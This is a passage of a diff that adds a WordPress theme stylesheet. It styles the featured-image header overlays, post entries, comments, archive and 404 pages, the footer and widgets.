+}
+
+.site-title:not(:empty) + .site-description:not(:empty):before {
+  content: "\2014";
+  margin: 0 .2em;
+}
+
+.site-description {
+  display: inline;
+  color: #767676;
+  font-weight: normal;
+  margin: 0;
+}
+
+.site-header.featured-image {
+  /* Hide overflow for overflowing featured image */
+  overflow: hidden;
+  /* Need relative positioning to properly align layers. */
+  position: relative;
+  /* Add text shadow to text, to increase readability. */
+  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.35);
+  /* Set white text color when featured image is set. */
+  /* add focus state to social media icons */
+  /* Entry header */
+  /* Custom Logo Link */
+  /* Make sure important elements are above pseudo elements used for effects. */
+  /* Set up image filter layer positioning */
+  /* Background & Effects */
+  /* Shared background settings between pseudo elements. */
+  background-position: center;
+  background-repeat: no-repeat;
+  background-size: cover;
+  /* The intensity of each blend mode is controlled via layer opacity. */
+  /* Second layer: screen. */
+  /* Third layer: multiply. */
+  /* When image filters are inactive, a black overlay is added. */
+  /* Fourth layer: overlay. */
+  /* Fifth layer: readability overlay */
+}
+
+.site-header.featured-image .site-branding .site-title,
+.site-header.featured-image .site-branding .site-description,
+.site-header.featured-image .main-navigation a:after,
+.site-header.featured-image .main-navigation .main-menu > li.menu-item-has-children:after,
+.site-header.featured-image .main-navigation li,
+.site-header.featured-image .social-navigation li,
+.site-header.featured-image .entry-meta,
+.site-header.featured-image .entry-title {
+  color: #fff;
+}
+
+.site-header.featured-image .main-navigation a,
+.site-header.featured-image .main-navigation a + svg,
+.site-header.featured-image .social-navigation a,
+.site-header.featured-image .site-title a,
+.site-header.featured-image .site-featured-image a {
+  color: #fff;
+  transition: opacity 110ms ease-in-out;
+}
+
+.site-header.featured-image .main-navigation a:hover, .site-header.featured-image .main-navigation a:active,
+.site-header.featured-image .main-navigation a:hover + svg,
+.site-header.featured-image .main-navigation a:active + svg,
+.site-header.featured-image .main-navigation a + svg:hover,
+.site-header.featured-image .main-navigation a + svg:active,
+.site-header.featured-image .main-navigation a + svg:hover + svg,
+.site-header.featured-image .main-navigation a + svg:active + svg,
+.site-header.featured-image .social-navigation a:hover,
+.site-header.featured-image .social-navigation a:active,
+.site-header.featured-image .social-navigation a:hover + svg,
+.site-header.featured-image .social-navigation a:active + svg,
+.site-header.featured-image .site-title a:hover,
+.site-header.featured-image .site-title a:active,
+.site-header.featured-image .site-title a:hover + svg,
+.site-header.featured-image .site-title a:active + svg,
+.site-header.featured-image .site-featured-image a:hover,
+.site-header.featured-image .site-featured-image a:active,
+.site-header.featured-image .site-featured-image a:hover + svg,
+.site-header.featured-image .site-featured-image a:active + svg {
+  color: #fff;
+  opacity: 0.6;
+}
+
+.site-header.featured-image .main-navigation a:focus,
+.site-header.featured-image .main-navigation a:focus + svg,
+.site-header.featured-image .main-navigation a + svg:focus,
+.site-header.featured-image .main-navigation a + svg:focus + svg,
+.site-header.featured-image .social-navigation a:focus,
+.site-header.featured-image .social-navigation a:focus + svg,
+.site-header.featured-image .site-title a:focus,
+.site-header.featured-image .site-title a:focus + svg,
+.site-header.featured-image .site-featured-image a:focus,
+.site-header.featured-image .site-featured-image a:focus + svg {
+  color: #fff;
+}
+
+.site-header.featured-image .main-navigation .sub-menu a {
+  opacity: inherit;
+}
+
+.site-header.featured-image .social-navigation a:focus {
+  color: #fff;
+  opacity: 1;
+  border-bottom: 1px solid #fff;
+}
+
+.site-header.featured-image .social-navigation svg,
+.site-header.featured-image .site-featured-image svg {
+  /* Use -webkit- only if supporting: Chrome < 54, iOS < 9.3, Android < 4.4.4 */
+  -webkit-filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35));
+  filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35));
+}
+
+.site-header.featured-image .site-featured-image {
+  /* First layer: grayscale. */
+}
+
+.site-header.featured-image .site-featured-image .post-thumbnail img {
+  height: auto;
+  left: 50%;
+  max-width: 1000%;
+  min-height: 100%;
+  min-width: 100vw;
+  position: absolute;
+  top: 50%;
+  transform: translateX(-50%) translateY(-50%);
+  width: auto;
+  z-index: 1;
+  /* When image filters are active, make it grayscale to colorize it blue. */
+}
+
+@supports (object-fit: cover) {
+  .site-header.featured-image .site-featured-image .post-thumbnail img {
+    height: 100%;
+    left: 0;
+    object-fit: cover;
+    top: 0;
+    transform: none;
+    width: 100%;
+  }
+}
+
+.image-filters-enabled .site-header.featured-image .site-featured-image .post-thumbnail img {
+  filter: grayscale(100%);
+}
+
+.site-header.featured-image .site-featured-image .entry-header {
+  margin-top: calc( 4 * 1rem);
+  margin-bottom: 0;
+  margin-left: 0;
+  margin-right: 0;
+  /* Entry meta */
+}
+
+@media only screen and (min-width: 768px) {
+  .site-header.featured-image .site-featured-image .entry-header {
+    margin-left: calc(10% + 60px);
+    margin-right: calc(10% + 60px);
+  }
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-title:before {
+  background: #fff;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta {
+  font-weight: 500;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta > span {
+  margin-right: 1rem;
+  display: inline-block;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta > span:last-child {
+  margin-right: 0;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta a {
+  transition: color 110ms ease-in-out;
+  color: currentColor;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta a:hover {
+  text-decoration: none;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta .svg-icon {
+  position: relative;
+  display: inline-block;
+  vertical-align: middle;
+  margin-right: 0.5em;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta .discussion-avatar-list {
+  display: none;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-meta {
+    display: flex;
+    position: relative;
+  }
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-title {
+    padding-right: calc(1 * (100vw / 12) + 1rem);
+  }
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-meta .comment-count {
+    position: absolute;
+    right: 0;
+  }
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-meta .discussion-avatar-list {
+    display: block;
+    position: absolute;
+    bottom: 100%;
+  }
+}
+
+.site-header.featured-image .custom-logo-link {
+  background: #fff;
+  box-shadow: 0 0 0 0 rgba(255, 255, 255, 0);
+}
+
+.site-header.featured-image .custom-logo-link:hover, .site-header.featured-image .custom-logo-link:active, .site-header.featured-image .custom-logo-link:focus {
+  box-shadow: 0 0 0 2px white;
+}
+
+.site-header.featured-image .site-branding {
+  position: relative;
+  z-index: 10;
+}
+
+.site-header.featured-image .site-featured-image .entry-header {
+  position: relative;
+  z-index: 9;
+}
+
+.site-header.featured-image .site-branding-container:after,
+.site-header.featured-image .site-featured-image:before,
+.site-header.featured-image .site-featured-image:after, .site-header.featured-image:after {
+  display: block;
+  position: absolute;
+  top: 0;
+  left: 0;
+  content: "\020";
+  width: 100%;
+  height: 100%;
+}
+
+.image-filters-enabled .site-header.featured-image .site-featured-image:before {
+  background: #0073aa;
+  mix-blend-mode: screen;
+  opacity: 0.1;
+}
+
+.site-header.featured-image .site-featured-image:after {
+  background: #000;
+  mix-blend-mode: multiply;
+  opacity: .7;
+  /* When image filters are active, a blue overlay is added. */
+}
+
+.image-filters-enabled .site-header.featured-image .site-featured-image:after {
+  background: #0073aa;
+  opacity: .8;
+  z-index: 3;
+  /* Browsers supporting mix-blend-mode don't need opacity < 1 */
+}
+
+@supports (mix-blend-mode: multiply) {
+  .image-filters-enabled .site-header.featured-image .site-featured-image:after {
+    opacity: 1;
+  }
+}
+
+.image-filters-enabled .site-header.featured-image .site-branding-container:after {
+  background: rgba(0, 0, 0, 0.35);
+  mix-blend-mode: overlay;
+  opacity: 0.5;
+  z-index: 4;
+  /* Browsers supporting mix-blend-mode can have a light overlay */
+}
+
+@supports (mix-blend-mode: overlay) {
+  .image-filters-enabled .site-header.featured-image .site-branding-container:after {
+    background: rgba(255, 255, 255, 0.35);
+  }
+}
+
+.site-header.featured-image:after {
+  background: #000;
+  /**
+		 * Add a transition to the readability overlay, to add a subtle
+		 * but smooth effect when resizing the screen.
+		 */
+  transition: opacity 1200ms ease-in-out;
+  opacity: 0.7;
+  z-index: 5;
+  /* When image filters are active, a blue overlay is added. */
+}
+
+.image-filters-enabled .site-header.featured-image:after {
+  background: #000e14;
+  opacity: 0.38;
+}
+
+@media only screen and (min-width: 768px) {
+  .image-filters-enabled .site-header.featured-image:after {
+    opacity: 0.18;
+  }
+}
+
+.site-header.featured-image ::-moz-selection {
+  background: rgba(255, 255, 255, 0.17);
+}
+
+.site-header.featured-image ::selection {
+  background: rgba(255, 255, 255, 0.17);
+}
+
+/*--------------------------------------------------------------
+## Posts and pages
+--------------------------------------------------------------*/
+.sticky {
+  display: block;
+}
+
+.sticky-post {
+  background: #0073aa;
+  color: #fff;
+  display: inline-block;
+  font-weight: bold;
+  line-height: 1;
+  padding: .25rem;
+  position: absolute;
+  text-transform: uppercase;
+  top: -1rem;
+  z-index: 1;
+}
+
+.updated:not(.published) {
+  display: none;
+}
+
+.page-links {
+  clear: both;
+  margin: 0 0 calc(1.5 * 1rem);
+}
+
+.entry {
+  margin-top: calc(6 * 1rem);
+}
+
+.entry:first-of-type {
+  margin-top: 0;
+}
+
+.entry .entry-header {
+  margin: calc(3 * 1rem) 1rem 1rem;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-header {
+    margin: calc(3 * 1rem) calc(10% + 60px) 1rem;
+  }
+}
+
+.entry .entry-title {
+  margin: 0;
+}
+
+.entry .entry-title:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+.entry .entry-title a {
+  color: inherit;
+}
+
+.entry .entry-title a:hover {
+  color: #4a4a4a;
+}
+
+.entry .entry-meta,
+.entry .entry-footer {
+  color: #767676;
+  font-weight: 500;
+}
+
+.entry .entry-meta > span,
+.entry .entry-footer > span {
+  margin-right: 1rem;
+  display: inline-block;
+}
+
+.entry .entry-meta > span:last-child,
+.entry .entry-footer > span:last-child {
+  margin-right: 0;
+}
+
+.entry .entry-meta a,
+.entry .entry-footer a {
+  transition: color 110ms ease-in-out;
+  color: currentColor;
+}
+
+.entry .entry-meta a:hover,
+.entry .entry-footer a:hover {
+  text-decoration: none;
+  color: #0073aa;
+}
+
+.entry .entry-meta .svg-icon,
+.entry .entry-footer .svg-icon {
+  position: relative;
+  display: inline-block;
+  vertical-align: middle;
+  margin-right: 0.5em;
+}
+
+.entry .entry-meta {
+  margin: 1rem 0;
+}
+
+.entry .entry-footer {
+  margin: calc(2 * 1rem) 1rem 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-footer {
+    margin: 1rem calc(10% + 60px) calc(3 * 1rem);
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-footer {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.entry .post-thumbnail {
+  margin: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .post-thumbnail {
+    margin: 1rem calc(10% + 60px);
+  }
+}
+
+.entry .post-thumbnail:focus {
+  outline: none;
+}
+
+.entry .post-thumbnail .post-thumbnail-inner {
+  display: block;
+}
+
+.entry .post-thumbnail .post-thumbnail-inner img {
+  position: relative;
+  display: block;
+  width: 100%;
+}
+
+.image-filters-enabled .entry .post-thumbnail {
+  position: relative;
+  display: block;
+}
+
+.image-filters-enabled .entry .post-thumbnail .post-thumbnail-inner {
+  filter: grayscale(100%);
+}
+
+.image-filters-enabled .entry .post-thumbnail .post-thumbnail-inner:after {
+  background: rgba(0, 0, 0, 0.35);
+  content: "";
+  display: block;
+  height: 100%;
+  opacity: .5;
+  pointer-events: none;
+  position: absolute;
+  top: 0;
+  width: 100%;
+  z-index: 4;
+}
+
+@supports (mix-blend-mode: multiply) {
+  .image-filters-enabled .entry .post-thumbnail .post-thumbnail-inner:after {
+    display: none;
+  }
+}
+
+.image-filters-enabled .entry .post-thumbnail:before, .image-filters-enabled .entry .post-thumbnail:after {
+  position: absolute;
+  display: block;
+  width: 100%;
+  height: 100%;
+  top: 0;
+  left: 0;
+  content: "\020";
+  pointer-events: none;
+}
+
+.image-filters-enabled .entry .post-thumbnail:before {
+  background: #0073aa;
+  mix-blend-mode: screen;
+  opacity: 0.1;
+  z-index: 2;
+}
+
+.image-filters-enabled .entry .post-thumbnail:after {
+  background: #0073aa;
+  mix-blend-mode: multiply;
+  opacity: .8;
+  z-index: 3;
+  /* Browsers supporting mix-blend-mode don't need opacity < 1 */
+}
+
+@supports (mix-blend-mode: multiply) {
+  .image-filters-enabled .entry .post-thumbnail:after {
+    opacity: 1;
+  }
+}
+
+.entry .entry-content,
+.entry .entry-summary {
+  max-width: calc(100% - (2 * 1rem));
+  margin: 0 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content,
+  .entry .entry-summary {
+    max-width: 80%;
+    margin: 0 10%;
+    padding: 0 60px;
+  }
+}
+
+.entry .entry-content p {
+  word-wrap: break-word;
+}
+
+.entry .entry-content .more-link {
+  transition: color 110ms ease-in-out;
+  display: inline;
+  color: inherit;
+}
+
+.entry .entry-content .more-link:after {
+  content: "\02192";
+  display: inline-block;
+  margin-left: 0.5em;
+}
+
+.entry .entry-content .more-link:hover {
+  color: #0073aa;
+  text-decoration: none;
+}
+
+.entry .entry-content a {
+  text-decoration: underline;
+}
+
+.entry .entry-content a.button, .entry .entry-content a:hover {
+  text-decoration: none;
+}
+
+.entry .entry-content a.button {
+  display: inline-block;
+}
+
+.entry .entry-content a.button:hover {
+  background: #111;
+  color: #fff;
+  cursor: pointer;
+}
+
+.entry .entry-content > iframe[style] {
+  margin: 32px 0 !important;
+  max-width: 100% !important;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > iframe[style] {
+    max-width: calc(8 * (100vw / 12) - 28px) !important;
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content > iframe[style] {
+    max-width: calc(6 * (100vw / 12) - 28px) !important;
+  }
+}
+
+.entry .entry-content .page-links a {
+  margin: calc(0.5 * 1rem);
+  text-decoration: none;
+}
+
+.entry .entry-content .wp-audio-shortcode {
+  max-width: calc(100vw - (2 * 1rem));
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-audio-shortcode {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-audio-shortcode {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+/* Author description */
+.author-bio {
+  margin: calc(2 * 1rem) 1rem 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .author-bio {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .author-bio {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .author-bio {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .author-bio {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+.author-bio .author-title {
+  display: inline;
+}
+
+.author-bio .author-title:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+.author-bio .author-description {
+  display: inline;
+  color: #767676;
+  font-size: 1.125em;
+  line-height: 1.2;
+}
+
+.author-bio .author-description .author-link {
+  display: inline-block;
+}
+
+.author-bio .author-description .author-link:hover {
+  color: #005177;
+  text-decoration: none;
+}
+
+/*--------------------------------------------------------------
+## Comments
+--------------------------------------------------------------*/
+.comment-content a {
+  word-wrap: break-word;
+}
+
+.bypostauthor {
+  display: block;
+}
+
+.comments-area {
+  margin: calc(2 * 1rem) 1rem;
+  /* Add extra margin when the comments section is located immediately after the
+	 * post itself (this happens on pages).
+	 */
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .comments-area {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+.comments-area > * {
+  margin-top: calc(2 * 1rem);
+  margin-bottom: calc(2 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area > * {
+    margin-top: calc(3 * 1rem);
+    margin-bottom: calc(3 * 1rem);
+  }
+}
+
+.entry + .comments-area {
+  margin-top: calc(3 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area .comments-title-wrap {
+    align-items: baseline;
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+.comments-area .comments-title-wrap .comments-title {
+  margin: 0;
+}
+
+.comments-area .comments-title-wrap .comments-title:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area .comments-title-wrap .comments-title {
+    flex: 1 0 calc(3 * (100vw / 12));
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area .comments-title-wrap .discussion-meta {
+    flex: 0 0 calc(2 * (100vw / 12));
+    margin-left: 1rem;
+  }
+}
+
+#comment {
+  max-width: 100%;
+  box-sizing: border-box;
+}
+
+#respond {
+  position: relative;
+}
+
+#respond .comment-user-avatar {
+  margin: 1rem 0 -1rem;
+}
+
+#respond .comment .comment-form {
+  padding-left: 0;
+}
+
+#respond > small {
+  display: block;
+  font-size: 22px;
+  position: absolute;
+  left: calc(1rem + 100%);
+  top: calc(-3.5 * 1rem);
+  width: calc(100vw / 12);
+}
+
+#comments > .comments-title:last-child {
+  display: none;
+}
+
+.comment-form-flex {
+  display: flex;
+  flex-direction: column;
+}
+
+.comment-form-flex .comments-title {
+  display: none;
+  margin: 0;
+  order: 1;
+}
+
+.comment-form-flex #respond {
+  order: 2;
+}
+
+.comment-form-flex #respond + .comments-title {
+  display: block;
+}
+
+.comment-list {
+  list-style: none;
+  padding: 0;
+}
+
+.comment-list .children {
+  margin: 0;
+  padding: 0 0 0 1rem;
+}
+
+.comment-list > .comment:first-child {
+  margin-top: 0;
+}
+
+.comment-list .pingback .comment-body,
+.comment-list .trackback .comment-body {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  font-weight: 500;
+  margin-top: 1rem;
+  margin-bottom: 1rem;
+}
+
+.comment-list .pingback .comment-body a:not(.comment-edit-link),
+.comment-list .trackback .comment-body a:not(.comment-edit-link) {
+  font-weight: bold;
+  font-size: 19.55556px;
+  line-height: 1.5;
+  padding-right: 0.5rem;
+  display: block;
+}
+
+.comment-list .pingback .comment-body .comment-edit-link,
+.comment-list .trackback .comment-body .comment-edit-link {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: 500;
+}
+
+#respond + .comment-reply {
+  display: none;
+}
+
+.comment-reply .comment-reply-link {
+  display: inline-block;
+}
+
+.comment {
+  list-style: none;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment {
+    padding-left: calc(.5 * (1rem + calc(100vw / 12 )));
+  }
+  .comment.depth-1,
+  .comment .children {
+    padding-left: 0;
+  }
+  .comment.depth-1 {
+    margin-left: calc(3.25 * 1rem);
+  }
+}
+
+.comment .comment-body {
+  margin: calc(2 * 1rem) 0 0;
+}
+
+.comment .comment-meta {
+  position: relative;
+}
+
+.comment .comment-author .avatar {
+  float: left;
+  margin-right: 1rem;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment .comment-author .avatar {
+    float: inherit;
+    margin-right: inherit;
+    position: absolute;
+    top: 0;
+    right: calc(100% + 1rem);
+  }
+}
+
+.comment .comment-author .fn {
+  position: relative;
+  display: block;
+}
+
+.comment .comment-author .fn a {
+  color: inherit;
+}
+
+.comment .comment-author .fn a:hover {
+  color: #005177;
+}
+
+.comment .comment-author .post-author-badge {
+  border-radius: 100%;
+  display: block;
+  height: 18px;
+  position: absolute;
+  background: #008fd3;
+  right: calc(100% - 2.5rem);
+  top: -3px;
+  width: 18px;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment .comment-author .post-author-badge {
+    right: calc(100% + 0.75rem);
+  }
+}
+
+.comment .comment-author .post-author-badge svg {
+  width: inherit;
+  height: inherit;
+  display: block;
+  fill: white;
+  transform: scale(0.875);
+}
+
+.comment .comment-metadata > a,
+.comment .comment-metadata .comment-edit-link {
+  display: inline;
+  font-weight: 500;
+  color: #767676;
+  vertical-align: baseline;
+}
+
+.comment .comment-metadata > a time,
+.comment .comment-metadata .comment-edit-link time {
+  vertical-align: baseline;
+}
+
+.comment .comment-metadata > a:hover,
+.comment .comment-metadata .comment-edit-link:hover {
+  color: #005177;
+  text-decoration: none;
+}
+
+.comment .comment-metadata > * {
+  display: inline-block;
+}
+
+.comment .comment-metadata .edit-link-sep {
+  color: #767676;
+  margin: 0 0.2em;
+  vertical-align: baseline;
+}
+
+.comment .comment-metadata .edit-link {
+  color: #767676;
+}
+
+.comment .comment-metadata .edit-link svg {
+  transform: scale(0.8);
+  vertical-align: baseline;
+  margin-right: 0.1em;
+}
+
+.comment .comment-metadata .comment-edit-link {
+  position: relative;
+  padding-left: 1rem;
+  margin-left: -1rem;
+  z-index: 1;
+}
+
+.comment .comment-metadata .comment-edit-link:hover {
+  color: #0073aa;
+}
+
+.comment .comment-content {
+  margin: 1rem 0;
+}
+
+@media only screen and (min-width: 1168px) {
+  .comment .comment-content {
+    padding-right: 1rem;
+  }
+}
+
+.comment .comment-content > *:first-child {
+  margin-top: 0;
+}
+
+.comment .comment-content > *:last-child {
+  margin-bottom: 0;
+}
+
+.comment .comment-content blockquote {
+  margin-left: 0;
+}
+
+.comment .comment-content a {
+  text-decoration: underline;
+}
+
+.comment .comment-content a:hover {
+  text-decoration: none;
+}
+
+.comment-reply-link,
+#cancel-comment-reply-link {
+  font-weight: 500;
+}
+
+.comment-reply-link:hover,
+#cancel-comment-reply-link:hover {
+  color: #005177;
+}
+
+.discussion-avatar-list {
+  content: "";
+  display: table;
+  table-layout: fixed;
+  margin: 0;
+  padding: 0;
+}
+
+.discussion-avatar-list li {
+  position: relative;
+  list-style: none;
+  margin: 0 -8px 0 0;
+  padding: 0;
+  float: left;
+}
+
+.discussion-avatar-list .comment-user-avatar img {
+  height: calc(1.5 * 1rem);
+  width: calc(1.5 * 1rem);
+}
+
+.discussion-meta .discussion-meta-info {
+  margin: 0;
+}
+
+.discussion-meta .discussion-meta-info .svg-icon {
+  vertical-align: middle;
+  fill: currentColor;
+  transform: scale(0.6) scaleX(-1) translateY(-0.1em);
+  margin-left: -0.25rem;
+}
+
+.comment-form .comment-notes,
+.comment-form label {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  color: #767676;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment-form .comment-form-author,
+  .comment-form .comment-form-email {
+    width: calc(50% - 0.5rem);
+    float: left;
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .comment-form .comment-form-email {
+    margin-left: 1rem;
+  }
+}
+
+.comment-form input[name="author"],
+.comment-form input[name="email"],
+.comment-form input[name="url"] {
+  display: block;
+  width: 100%;
+}
+
+/*--------------------------------------------------------------
+## Archives
+--------------------------------------------------------------*/
+.archive .page-header,
+.search .page-header,
+.error404 .page-header {
+  margin: 1rem 1rem calc(3 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .archive .page-header,
+  .search .page-header,
+  .error404 .page-header {
+    margin: 0 calc(10% + 60px) calc(10% + 60px);
+  }
+}
+
+.archive .page-header .page-title,
+.search .page-header .page-title,
+.error404 .page-header .page-title {
+  color: #767676;
+  display: inline;
+  letter-spacing: normal;
+}
+
+.archive .page-header .page-title:before,
+.search .page-header .page-title:before,
+.error404 .page-header .page-title:before {
+  display: none;
+}
+
+.archive .page-header .search-term,
+.archive .page-header .page-description,
+.search .page-header .search-term,
+.search .page-header .page-description,
+.error404 .page-header .search-term,
+.error404 .page-header .page-description {
+  display: inherit;
+  clear: both;
+}
+
+.archive .page-header .search-term:after,
+.archive .page-header .page-description:after,
+.search .page-header .search-term:after,
+.search .page-header .page-description:after,
+.error404 .page-header .search-term:after,
+.error404 .page-header .page-description:after {
+  content: ".";
+  font-weight: bold;
+  color: #767676;
+}
+
+.archive .page-header .page-description {
+  display: block;
+  color: #111;
+  font-size: 1em;
+}
+
+@media only screen and (min-width: 768px) {
+  .hfeed .entry .entry-header {
+    margin: calc(3 * 1rem) calc(10% + 60px) calc(1rem / 2);
+  }
+}
+
+/* 404 & Not found */
+.error-404.not-found .page-content,
+.no-results.not-found .page-content {
+  margin: calc(3 * 1rem) 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .error-404.not-found .page-content,
+  .no-results.not-found .page-content {
+    margin: calc(3 * 1rem) calc(10% + 60px) calc(1rem / 2);
+  }
+}
+
+.error-404.not-found .search-submit,
+.no-results.not-found .search-submit {
+  vertical-align: middle;
+  margin: 1rem 0;
+}
+
+.error-404.not-found .search-field,
+.no-results.not-found .search-field {
+  width: 100%;
+}
+
+/*--------------------------------------------------------------
+## Footer
+--------------------------------------------------------------*/
+/* Site footer */
+#colophon .widget-area,
+#colophon .site-info {
+  margin: calc(2 * 1rem) 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  #colophon .widget-area,
+  #colophon .site-info {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+#colophon .widget-column {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+#colophon .widget-column .widget {
+  width: 100%;
+}
+
+@media only screen and (min-width: 1168px) {
+  #colophon .widget-column .widget {
+    margin-right: calc(3 * 1rem);
+    width: calc(50% - (3 * 1rem));
+  }
+}
+
+#colophon .site-info {
+  color: #767676;
+}
+
+#colophon .site-info a {
+  color: inherit;
+}
+
+#colophon .site-info a:hover {
+  text-decoration: none;
+  color: #0073aa;
+}
+
+#colophon .site-info .imprint,
+#colophon .site-info .privacy-policy-link {
+  margin-right: 1rem;
+}
+
+/* Widgets */
+.widget {
+  margin: 0 0 1rem;
+  /* Make sure select elements fit in widgets. */
+}
+
+.widget select {
+  max-width: 100%;
+}
+
+.widget a {
+  color: #0073aa;
+}
+
+.widget a:hover {
+  color: #005177;
+}
+
+.widget_archive ul,
+.widget_categories ul,
+.widget_meta ul,
+.widget_nav_menu ul,
+.widget_pages ul,
+.widget_recent_comments ul,
+.widget_recent_entries ul,
+.widget_rss ul {
+  padding: 0;
+  list-style: none;
+}
+
+.widget_archive ul li,
+.widget_categories ul li,
+.widget_meta ul li,
+.widget_nav_menu ul li,
+.widget_pages ul li,
+.widget_recent_comments ul li,
+.widget_recent_entries ul li,
+.widget_rss ul li {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: calc(22px * 1.125);
+  font-weight: 700;
+  line-height: 1.2;
+  margin-top: 0.5rem;
+  margin-bottom: 0.5rem;
+}
+
+.widget_archive ul ul,
+.widget_categories ul ul,
+.widget_meta ul ul,
+.widget_nav_menu ul ul,
+.widget_pages ul ul,
+.widget_recent_comments ul ul,
+.widget_recent_entries ul ul,
+.widget_rss ul ul {
+  counter-reset: submenu;
+}
+
+.widget_archive ul ul > li > a::before,
+.widget_categories ul ul > li > a::before,
+.widget_meta ul ul > li > a::before,
+.widget_nav_menu ul ul > li > a::before,
+.widget_pages ul ul > li > a::before,
+.widget_recent_comments ul ul > li > a::before,
+.widget_recent_entries ul ul > li > a::before,
+.widget_rss ul ul > li > a::before {
+  font-family: "NonBreakingSpaceOverride", "Hoefler Text", "Baskerville Old Face", Garamond, "Times New Roman", serif;
+  font-weight: normal;
+  content: "– " counters(submenu, "– ", none);
+  counter-increment: submenu;
+}
+
+.widget_tag_cloud .tagcloud {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: 700;
+}
+
+.widget_search .search-field {
+  width: 100%;
+}
+
+@media only screen and (min-width: 600px) {
+  .widget_search .search-field {
+    width: auto;
+  }
+}
+
+.widget_search .search-submit {
+  display: block;
+  margin-top: 1rem;
+}
+
+.widget_calendar .calendar_wrap {
+  text-align: center;
+}
+
+.widget_calendar .calendar_wrap table td,
+.widget_calendar .calendar_wrap table th {
+  border: none;
+}
+
+.widget_calendar .calendar_wrap a {
+  text-decoration: underline;
+}
+
+/* Blocks */
+/* !Block styles */
+.entry .entry-content > *,
+.entry .entry-summary > * {
+  margin: 32px 0;
+  max-width: 100%;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > *,
+  .entry .entry-summary > * {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content > *,
